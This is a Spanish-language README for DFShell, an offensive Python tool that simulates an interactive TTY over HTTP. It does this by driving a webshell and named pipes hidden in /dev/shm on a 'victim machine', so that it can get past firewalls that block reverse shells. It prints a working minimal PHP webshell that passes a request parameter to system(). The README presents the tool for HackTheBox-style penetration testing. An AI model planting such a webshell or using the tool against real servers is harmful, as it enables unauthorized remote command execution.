
Herramienta de shell directa basada en Python que crea un shell interactivo similar a TTY a través de HTTP utilizando tuberías con nombre, permitiendo la ejecución de comandos en objetivos protegidos por cortafuegos sin conexiones de red persistentes.
██████╗ ███████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
D3Ext's Forward Shell es un script de python3 que usa mkfifo para simular una shell en la máquina víctima. Crea un directorio oculto en /dev/shm/.fs/ donde se almacenan los fifos. Incluso puedes simular una TTY sobre la webshell.
Este forward shell crea una shell que acepta comandos a través de un Named Pipe (mkfifo) y envía la salida a un archivo. Al hacer esto, la shell no requiere una conexión de red persistente, por lo que puedes establecer una TTY adecuada detrás de un firewall que bloquea shells inversas/enlazadas.
Instalar desde el código fuente
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
Instalar con pip
pip3 install dfshell
DFShell tiene una variedad de parámetros de CLI para mejorar la configuración del forward shell.
Panel de ayuda
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
Envía solicitudes GET a la URL proporcionada, por lo que la webshell debería ser algo como:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Probado en Parrot OS con un servidor Apache
Si quieres probar esta herramienta en entornos controlados, aquí tienes una lista de máquinas de HackTheBox en las que se aplican reglas de firewall en el servidor web, por lo que el forward shell es una gran alternativa para pasar directamente a la escalada de privilegios.



Gracias a @ippsec por esta increíble técnica
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
Ver CONTRIBUTING.md
Ver CHANGELOG.md
Este proyecto está bajo la licencia MIT
Copyright © 2023, D3Ext